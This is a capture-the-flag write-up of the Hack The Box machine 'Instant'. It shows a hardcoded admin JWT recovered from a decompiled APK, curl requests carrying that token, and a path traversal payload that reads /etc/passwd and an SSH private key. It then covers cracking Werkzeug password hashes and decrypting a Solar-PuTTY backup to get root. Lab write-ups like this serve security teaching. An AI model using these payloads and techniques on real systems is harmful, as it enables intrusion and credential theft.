Page cover

Week 11. Instant

TL;DR

This is an Ubuntu 24.04 machine hosting a web site dedicated to a wallet application which is available for Android devices. After decompiling the APK package we obtain a JWT token that can be used to log in the API. This turns out to be vulnerable to path traversal, which allows us to dump a private key that provides an initial shell in the host. Regarding escalation, first we need to crack a Werkzeug hash contained in a SQLite database, then use this password to decrypt a Solar-PuTTy data file and get the root password.

KEYWORDS

Android, APK, Apktool, path traversal, SQLite, Werkzeug, Solar-PuTTy.

REFERENCES

https://stackoverflow.com/questions/76935900/werkzeug-password-encryption

https://github.com/AnataarXVI/Werkzeug-Cracker

https://voidsec.com/solarputtydecrypt

https://github.com/VoidSec/SolarPuttyDecrypt

ENUMERATION

Port scan.

> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-21 12:44 EST
Nmap scan report for instant.htb (10.10.11.37)
Host is up, received user-set (0.038s latency).
Not shown: 57929 closed tcp ports (conn-refused), 7604 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 14.75 seconds

Enumerate the open ports.

> nmap $target -p22,80 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-21 12:46 EST
Nmap scan report for 10.10.11.37
Host is up, received user-set (0.037s latency).
Scanned at 2024-11-21 12:46:44 EST for 8s
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3183eb9f15f840a5049ccb3ff6ec4976 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMM6fK04LJ4jNNL950Ft7YHPO9NKONYVCbau/+tQKoy3u7J9d8xw2sJaajQGLqTvyWMolbN3fKzp7t/s/ZMiZNo=
|   256 6f6603470e8ae00397675b41cfe2c7c7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+zjgyGvnf4lMAlvdgVHlwHd+/U4NcThn1bx5/4DZYY
80/tcp open  http    syn-ack Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 8.28 seconds

Add to hosts file and enumerate the site with Firefox. It looks like a site for making online money transactions. A mobile app called "Instant" is available, download the APK file.

USER

Decompile the Android APK package with apktool

> apktool d instant.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.10.0 on instant.apk with 8 thread(s).
I: Baksmaling classes.dex...
I: Loading resource table...
I: Decoding file-resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Decoding values */* XMLs...
I: Decoding AndroidManifest.xml with resources...
I: Regular manifest package...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

Look for sensitive content in the resulting directories.

> grep -r Admin
smali/com/instantlabs/instant/AdminActivities.smali:.class public Lcom/instantlabs/instant/AdminActivities;
smali/com/instantlabs/instant/AdminActivities.smali:.source "AdminActivities.java"
smali/com/instantlabs/instant/AdminActivities.smali:.method private TestAdminAuthorization()Ljava/lang/String;
smali/com/instantlabs/instant/AdminActivities.smali:    new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;
smali/com/instantlabs/instant/AdminActivities.smali:    invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V
smali/com/instantlabs/instant/AdminActivities$1.smali:.class Lcom/instantlabs/instant/AdminActivities$1;
smali/com/instantlabs/instant/AdminActivities$1.smali:.source "AdminActivities.java"
smali/com/instantlabs/instant/AdminActivities$1.smali:    value = Lcom/instantlabs/instant/AdminActivities;->TestAdminAuthorization()Ljava/lang/String;
smali/com/instantlabs/instant/AdminActivities$1.smali:.field final synthetic this$0:Lcom/instantlabs/instant/AdminActivities;
smali/com/instantlabs/instant/AdminActivities$1.smali:    const-class v0, Lcom/instantlabs/instant/AdminActivities;
smali/com/instantlabs/instant/AdminActivities$1.smali:.method constructor <init>(Lcom/instantlabs/instant/AdminActivities;)V
smali/com/instantlabs/instant/AdminActivities$1.smali:    iput-object p1, p0, Lcom/instantlabs/instant/AdminActivities$1;->this$0:Lcom/instantlabs/instant/AdminActivities;

There is a JWT token in the file smali/com/instantlabs/instant/AdminActivities.smali

Furthermore, in the res/xml/network_security_config.xml file we find two API endpoint URLs.

Update hosts file with these URLs and enumerate with Firefox. The API documentation comes into view.

Use the JWT token to log in. To do this click on "Authorize 🔓", then enter the token.

Now try any of the endpoints, for example /api/v1/view/transactions. Capture the request, pay attention to how authorization is managed, take note of the header used for this purpose.

With this information we are in a position to query all the endpoints crafting our own requests with curl. For example, let's get a list of users.

curl -s -X GET "http://swagger-ui.instant.htb/api/v1/admin/list/users" -H  "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq .

In the documentation we see we can query log files, and choose the file path with the log_file_name parameter.

This is potentially vulnerable to path traversal. Let's try it.

> curl -s -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../etc/passwd" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq .

The path traversal vulnerability is confirmed, and we see a potential username shirohige

Dump his private key.

And use it to open a shell and collect the user flag.

ROOT

Start from the low-priv shell and take the opportunity to enumerate the user and the system.

> whoami && id
shirohige
uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)
 
> uname -a && cat /etc/os-release
Linux instant 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

Use linpeas.sh to find useful info. An SQLite database appears in /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db

-> Extracting tables from /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db (limit 20)
  --> Found interesting column names in wallet_users (output limit 10)
CREATE TABLE wallet_users (
        id INTEGER NOT NULL, 
        username VARCHAR, 
        email VARCHAR, 
        wallet_id VARCHAR, 
        password VARCHAR, 
        create_date VARCHAR, 
        secret_pin INTEGER, 
        role VARCHAR, 
        status VARCHAR, 
        PRIMARY KEY (id), 
        UNIQUE (username), 
        UNIQUE (email), 
        UNIQUE (wallet_id)
)
1, instantAdmin, admin@instant.htb, f0eca6e5-783a-471d-9d8f-0162cbc900db, 

Further enumerate the database, there are two hashes in the wallet_users table.

> sqlite3 instant.db
SQLite version 3.39.3 2022-09-05 11:02:23
Enter ".help" for usage hints.

sqlite> .databases
main: /home/kali/htb/instant/instant.db r/w

sqlite> .tables
wallet_transactions  wallet_users         wallet_wallets 
   
sqlite> select * from wallet_users;
1|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active
sqlite>

I couldn't find hash type pbkdf2:sha256:600000 in the Hashcat examples database, so I made a further search for this type of hashes. It seems these are Werkzeug hashes (https://stackoverflow.com/questions/76935900/werkzeug-password-encryption). And a password cracker is available here: https://github.com/AnataarXVI/Werkzeug-Cracker

It is capable of cracking one of the hashes.

This password will be useful soon, take note of it and continue enumerating the host.

There is a Solar-PuTTy backup file here /opt/backups/Solar-PuTTY/sessions-backup.dat

The application source code has been reversed and is explained here: https://voidsec.com/solarputtydecrypt/. Also, a decrypter for the DAT files is available here: https://github.com/VoidSec/SolarPuttyDecrypt

Let's run it run it (needs Windows) with the password we have just disclosed. The decryption is successful and the root password appears.

The only thing that's left is to su to root account.

You are root.

Last updated